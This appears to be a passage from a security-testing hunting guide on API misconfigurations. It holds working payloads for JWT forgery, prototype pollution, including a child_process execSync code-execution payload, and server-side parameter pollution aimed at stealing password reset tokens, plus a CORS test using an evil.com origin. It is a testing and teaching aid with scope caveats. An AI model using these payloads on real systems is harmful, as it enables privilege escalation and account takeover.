hunt-api-misconfig

## 12. API SECURITY MISCONFIGURATION

### Mass Assignment
```javascript
User.update(req.body)  // body has {"role": "admin"} → privilege escalation
```

### JWT None Algorithm
```python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature
```

### JWT RS256 → HS256 Algorithm Confusion
```python
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
```

### Prototype Pollution
```javascript
// Server-side — Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
```

For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype
state reaches a later operation.

Hunt sequence:

1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.
   Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
2. **Pollute harmless marker properties.** Send variants such as:

```
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
```

3. **Trigger a separate sink.** After pollution, request account/profile/admin/job/export/search/render
   endpoints and compare with baseline. Strong signals include changed JSON defaults, unexpected fields,
   server errors mentioning object properties, changed job output, template/render errors, or command/job
   behavior changes.
4. **Escalate only through learned sinks.** Candidate properties depend on the sink:

```
{"__proto__":{"json spaces":10}}
{"__proto__":{"status":555}}
{"__proto__":{"isAdmin":true,"role":"admin"}}
{"__proto__":{"shell":"/bin/bash","argv0":"node","NODE_OPTIONS":"--inspect"}}
{"__proto__":{"execArgv":["--eval","process.mainModule.require('child_process').execSync('id')"]}}
```

5. **For exfiltration labs or real impact, prefer non-destructive proof.** If an admin job, diagnostic,
   export, or rendering endpoint consumes polluted defaults, use a marker or environment/secret read only
   when authorized. In production, stop at a controlled marker unless scope explicitly permits data access.

### Server-Side Parameter Pollution in Backend URL / REST URL Construction

Use this when a frontend form or endpoint appears to call a server-side API on your behalf
(password reset, account lookup, profile fetch, product lookup, stock check, search). The bug is not
ordinary client-side query pollution. The server takes your input and interpolates it into a backend
URL path or query string, such as:

```
/api/internal/users/<username>/field/email
/api/users/<id>
/api/users?username=<username>&field=email
```

Hunt sequence:

1. **Find the flow and read the client request.** Fetch the page and any referenced JavaScript. Look
   for form actions, `fetch(...)`, hidden CSRF fields, and the exact parameter name the browser sends.
   If there is a reset/account form, test known usernames first to learn the normal success/error shape.
2. **Determine whether input lands in a backend path or query.** Send URL metacharacters in the input:
   `#`, `?`, `&x=y`, `/`, `../`, and encoded forms `%23`, `%3f`, `%26x=y`, `%2f`, `%2e%2e%2f`.
   Distinct errors such as `Invalid route`, `API definition`, `unsupported field`, or changed returned
   fields mean your value is being interpreted by a server-side URL router, not merely validated as text.
3. **Use path traversal to move inside the server-side URL.** If `username/../other-user` changes the
   referenced account, the input is in a REST path segment. Then try appending route fragments such as
   `/field/email`, `/field/id`, `/field/username`, `/field/passwordResetToken`, and terminate the rest
   of the original backend path with `#` or `%23` when the backend URL parser honors fragments.
4. **Discover API documentation from errors.** When an error says to consult the API definition, probe
   common documentation/spec paths: `/openapi.json`, `/swagger.json`, `/api-docs`, `/api/swagger.json`,
   `/swagger/v1/swagger.json`, `/v3/api-docs`, and path-traversal variants that attempt to reach the
   spec from the vulnerable backend route. A spec or descriptive route error tells you valid resources
   and field names.
5. **Exploit only to prove impact.** For password reset/account lookup flows, the strongest proof is a
   sensitive field such as a reset token or secret for another user, then using that token in the normal
   application flow to complete account takeover. Do not stop at `Invalid route`; use errors as routing
   feedback.

Payload patterns to try, adapted to the observed parameter name:

```
username=administrator%23
username=administrator%3f
username=administrator%2f..%2fvictimuser
username=administrator/../victimuser
username=administrator/field/email%23
username=administrator/field/id%23
username=administrator/field/passwordResetToken%23
username=administrator%2ffield%2fpasswordResetToken%23
```

### CORS Exploitation
```bash
# Test: reflected origin + credentials
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user/me
# If: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true
# → CRITICAL: attacker reads credentialed responses
```

---

## OData $filter / $select / $expand WAF-Blacklist Bypass (2024-2026 surface)

OData (Open Data Protocol) is the query layer behind **SharePoint, Microsoft Dynamics 365 / Power Platform, SAP NetWeaver Gateway / Fiori,**